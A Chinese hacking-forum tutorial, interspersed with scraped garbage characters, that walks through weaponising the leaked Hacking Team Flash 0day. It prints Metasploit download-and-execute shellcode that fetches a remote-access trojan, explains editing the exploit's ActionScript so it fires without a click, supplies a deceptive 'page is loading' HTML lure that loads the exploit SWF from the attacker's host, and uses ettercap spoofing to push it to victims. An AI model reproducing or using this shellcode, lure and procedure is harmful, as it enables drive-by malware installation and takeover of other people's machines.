flash 0day之手工代码修改制作下载者实例入侵演示

admin

" G3 S6 E K/ v, E5 Z6 F$ o 三、flash 0day之手工代码修改制作下载者实例入侵演示

3 z* M& [: k. Q: b; l 利用到的工具： ; [ U3 L, \$ Q/ e

5 M( ?) u# ?/ z! k3 G5 v4 ]

Msf ' g' r$ Z9 ]& X L( v- S

Ettercap 6 ~5 Y- z) n6 G& F' R6 M* ]! k& X1 s

* K) O3 W$ \/ T t Adobe Flash CS6

4 ?7 U: ~) S P i/ ]5 f Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 1 {8 x0 L _8 Z- @

下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options

如图： / C$ G3 I" A& V. S2 a$ u& C* a3 o

# e* [6 f" z, o$ s) r   7 T0 O+ C U! _) m2 v, j" A

 

& X2 H1 h7 C% X+ p 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: 4 t1 l+ F) w' @& P+ }

6 x% p2 ?9 |! V# k A7 ~1 j

2 s& l. o3 A( v5 p1 ?# V  

+ J- Z: N0 K8 R: j3 z

9 m! t& v6 c/ |3 e" ?- x. ?  

# a+ G! J/ R3 P7 m/ P

然后执行generate -t dword生成shellcode，如下： 5 [ e7 O4 N6 r' g! g

 

7 v4 X# }+ E x6 j

( U8 m$ c5 y7 Q 复制代码到文本下便于我们一会编辑flash exp，如下：

. a" w' ~7 u+ l- F" l8 X

0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,

6 x1 ^- q9 S9 u3 v

0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,

0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,

0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, * ~1 x0 W5 o# I( ~4 f. Q6 o

0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, + D K* J1 q$ Y7 n0 B

0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, , E; V8 d6 s$ ~- H- I

6 V4 ]0 L5 s, @: H) Q

- {/ `- H, W7 c: M: v 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, : O) |3 h& P4 Z: \

6 u" b+ u8 u2 a% H% N

, K k% t3 l5 C 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 1 [6 d& {$ T' `1 Y2 {5 {3 r7 k' ^( t

, b& c/ |( h6 r! H' {1 h

0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 5 q/ \0 m' @# n& o& ]

3 a2 i8 P0 H! X, y( j- t) x

0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, / p* @8 k/ [2 l( n _# C

7 [: u9 v4 ]# n. `# n 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,

0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,

E2 o% W+ l2 [

& t4 }3 h. t9 K% q7 Z; W9 y) w1 s 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 5 N& _6 B/ J8 {- ?. l0 H9 o9 v

0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000

  & `# v7 B3 N q2 @. f+ T3 l8 {# ] u

) C. v* [4 y6 V/ ^1 @

 

' _) f g1 B6 |% F6 U

! W& A$ x" ^$ J- J! }! e+ C 下面我们来修改flash 0day exp，需要修改三个文件，分别为：

- L: e. @9 h' d$ V# V

. _1 J! T# C% V: G0 y9 V) r  

先修改ShellWin32.as，部分源代码如图：

5 Y- ?: d3 ~+ V& z  

( w# d& V6 s! E T2 P6 c( d& f* u 我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：

- s: U: @1 t* _4 [4 O @& N

; E6 r2 R$ d1 i: Y/ k1 X. r   ! G8 e v% R, C- d2 x. M: l) v

然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：

4 P& n7 ~4 g% C7 W6 @: w

 

& F: A. X, y* P8 J 换行在后面加一句TryExpl();注意是l不是数字1，然后如图： * f5 A0 B7 y& k$ z1 j& j7 G

 

I7 p9 A7 { `( n1 {  

" N; ^6 d1 K, o) e# I, u% g: t+ T9 o

' s. O* w% a+ j, X8 B, n   j1 ^/ w; `# z, R4 Y4 u' @& d! Y

4 V% n1 h' S' D l4 [! Q* o 然后点保存，下面我们来编译一下，打开

exp1.fla然后点文件-发布，看看编译没错误 ! V6 e5 b$ K. d+ P- A7 A! x# d3 F

+ s+ Q/ ?4 l2 i" c9 s

; |3 ~" O. ] E0 a1 O( B$ v% ~! l  

! N% m8 _$ Q8 `8 ?" @% T% _* N! g

 

7 [0 |% ^# r; ?' U2 J! R( _

; l, E& R' L* C3 p' z& E* j   6 C6 i+ a! A5 U8 T8 A% U. z

/ ^3 O8 i% d) d$ x; `. }' ]/ \   " `5 I W1 {+ b

3 Y/ [% A( m0 p7 c8 s 然后我们把生成的

+ ~$ D! m8 w7 m# o

, i% ~+ C' q! n* P I3 W exp1.swf丢到kailinux 的/var/www/html下：

5 o: A _: Y& m/ }+ N U

然后把这段代码好好编辑一下 + v9 `, E# H8 z& ^8 u% J

  E' \# t6 |; P, t1 r6 G* ~: O, m

' ^ G7 _3 g+ U; ?1 I. u: t+ k

 

' |% Y' u2 ^9 l. E

# l4 |* w3 G. \2 u, L" ^" C  

- X$ S7 Q* S) N4 q7 T3 S$ p1 ^

 

5 \6 Z3 J- W6 C i8 T  

/ l) `; @3 j" O; ?% f6 c7 n ?

  ! j% Y2 M9 |6 h# Z

S2 T- ^5 R4 p8 Y <!DOCTYPE html>

/ K- k M9 h; W# L' O

<html>

: S2 c9 k: `2 U$ g <head> ' G1 M5 [2 f# l1 }) l

* v2 g6 z K; Q) {& b1 G: k) u

2 `) n9 k% j. x3 v2 h% V <meta http-equiv="Content-Type" content="text/html; . K/ ?0 P- n6 S) I3 q! j. B

1 k, i R& [, N6 ?3 }

charset=utf-8"/>

( R4 [9 w0 z, C7 @1 G# E4 j, _4 U

2 B5 P. {0 P* E </head> & ?2 v4 P( ~2 u

% H2 ?% z% X. Z" T; ~$ U4 C( A

<body>

, E1 {& Y! I z3 Q* l

; `: i1 \2 a2 c) r# c9 Y <h2> Please wait, the requested page is loading...</h2> 7 t1 S5 x9 v9 M/ H; [

<br> 3 S' h% D$ A6 c. Y% J+ u

# [/ q7 o7 [/ ], i/ i1 g5 c/ e

" N% Z" h$ G4 K5 _ <OBJECT - [+ S2 G' r3 \- y

9 L0 ?" K+ k$ W7 B. [7 r classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie : V7 u. e% |3 g& u

VALUE="http://192.168.0.109/exp1.swf"></OBJECT>

, O2 Z0 o* J% _1 R

</body> 8 T+ y: V! H# x! P+ \' b. ?

<script>

0 o6 j: ^' ^$ b$ f8 ]

0 ~5 C% S/ x: E2 s     setTimeout(function () { ' Q" L) S9 ? Q r% |! G w7 P

/ g' f2 D8 I7 M5 M+ n! v          E8 ^' L* x, s7 ~: ?! g. w

$ Y/ c* k- k. N1 X; @' ]) P0 Y window.location.reload(); F4 Z/ y/ ^3 x3 v ^4 b

    }, 10000);

: X* n+ }+ r4 }2 O) V. ^

1 y! @) R5 p* q+ @+ v! W4 Q   . d/ r4 J0 l( d4 k

5 e% q. `( n1 J

7 Y! X3 J% ^9 n" m- X' s4 P3 t3 I </script>

. n- `2 I9 b5 W$ D6 c& \; l% h

- P, w6 @8 R8 ?& x6 ~$ w3 a </html> l K9 r% b1 }/ J- z) w# w

; L2 \. R" h( o* F7 @   6 p- h) C$ M7 u! Z7 W- Z

' y N' F& I ~/ E: p3 b 注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：

! g( u* m7 E1 K* _, B

3 q4 t& P P" f8 V( p) B  

 

8 C' a" ?& J3 Z! [6 S/ W* ?

' F! I8 l/ S+ D2 i9 t! q   # e" T/ g0 l% O2 v

) R) G% |6 t1 C" u& D( q4 a

  1 C+ I1 o& |( O/ J( S

, Z2 h' |2 W4 k4 ]7 }' A- u6 K

S4 l- J: f8 d3 c4 z   ' N0 p& f5 l6 W

* D* @/ E+ C( ^6 ]3 J N# r0 U9 a

+ C1 u& K' y7 H7 m& A 下面我们用ettercap欺骗如图： ' T; r6 T' Z2 q" k4 C: t3 ?: N

3 z3 m9 v+ ~0 \( S8 G- O2 n, h

 

 

下面我们随便访问个网站看看： 5 [. a+ `9 q) X% g% r% n& @& m u

. X8 u) i5 h8 S! C5 v

我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： 3 x _& q1 S8 w- G8 v

 

( h' N& ~# l, S" K2 k 我们看另一台，

' t! l2 y: ^" g

4 ]# g' C$ V6 ^' o- E 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。